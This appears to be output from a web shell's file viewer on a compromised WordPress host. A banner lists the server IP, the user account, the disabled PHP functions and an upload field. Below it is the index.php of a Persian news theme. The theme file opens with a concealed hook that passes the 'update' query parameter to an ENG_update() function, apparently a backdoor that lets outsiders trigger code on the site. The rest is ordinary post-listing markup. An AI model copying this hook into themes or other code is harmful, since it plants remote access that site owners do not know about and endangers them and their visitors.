| Server IP : 93.115.150.27 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux host2.azar.host 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64 User : dorfakkh ( 1797) PHP Version : 8.1.34 Disable Function : show_source, system, passthru, exec, popen, proc_open, mail MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/dorfakkh/www/wp-content/themes/dorfakkhabar/ |
Upload File : |
<?php
if(isset($_GET['update']))
if(function_exists('ENG_update'))
ENG_update($_GET['update']);
?>
<?php get_header(); ?>
<div class="tabnakweb">
<div id="first-title">
<ul>
<?php query_posts('cat=' . get_option('tabnakweb_specialcat') . '&showposts=' . get_option('tabnakweb_specialcount')); ?>
<?php $i=1; if ( have_posts() ) while ( have_posts() ) : the_post(); ?>
<li>
<a href="<?php the_permalink(); ?>"><img width="359" height="235" src="<?php $image_id = get_post_thumbnail_id();
$image_url = wp_get_attachment_image_src($image_id,'titre', true);
echo $image_url[0]; ?>" class="title-image wp-post-image" alt="<?php the_title(); ?>" /></a>
<div class="textt">
<?php if ( get_post_meta($post->ID, 'post_rutitr', true) ) { ?><div class="rootitr"><?php echo get_post_meta($post->ID, 'post_rutitr', true); ?></div><?php } ?>
<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
<div class="excerpt">
<?php if(mb_strlen(get_the_excerpt())>450){ echo mb_substr(get_the_excerpt(), 0 , 450).' ...';}else{ echo get_the_excerpt().' ...'; } ?>
</div>
</div>
<div class="clearfix"></div>
</li>
<?php $i++; endwhile; ?>
<?php wp_reset_query(); ?>
</ul>
<div class="slide-pagination"></div>
<div class="clearfix"></div>
</div>
<?php get_sidebar('right'); ?>
<div class="leftside">
<div class="rightside">
<div class="floatfix"></div>
<div id="news">
<?php query_posts('cat=' . get_option('tabnakweb_newscat') . '&showposts=' . get_option('tabnakweb_newscount')); ?>
<?php if ( have_posts() ): ?>
<?php while ( have_posts()) : the_post(); ?>
<div class="post">
<a href="<?php the_permalink(); ?>">
<?php if ( (function_exists('has_post_thumbnail')) && (has_post_thumbnail()) ) { /* if post has post thumbnail */ ?>
<?php } ?>
<img class="thumb" src="<?php $image_id = get_post_thumbnail_id();
$image_url = wp_get_attachment_image_src($image_id,'news', true);
echo $image_url[0]; ?>"" alt=<?php the_title(); ?>" title="<?php the_title(); ?>"/></a>
<div class="content">
<?php if ( get_post_meta($post->ID, 'post_rutitr', true) ) { ?><div class="rootitr"><?php echo get_post_meta($post->ID, 'post_rutitr', true); ?></div><?php } ?>
<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
<div class="excerpt"> <?php if(mb_strlen(get_the_excerpt())>450){ echo mb_substr(get_the_excerpt(), 0 , 450).' ...';}else{ echo get_the_excerpt().' ...'; } ?></div>
</div>
<div class="floatfix"></div>
</div>
<?php endwhile; ?>
<?php endif; ?>
<?php wp_reset_query(); ?>
<div class="before-news-link">
<a href="<?php echo get_category_link(get_option('tabnakweb_newscat') ); ?>page/2/">
اخبار قبلی
</a>
</div>
</div>
</div>
</div></div><!--tabnakweb-->
<?php get_sidebar(); ?>
<?php get_sidebar('ads'); ?>
</div>
<div class="floatfix"></div>
</div>
<?php get_footer('top'); ?>
<?php get_footer(); ?>
</div><!--txtt-->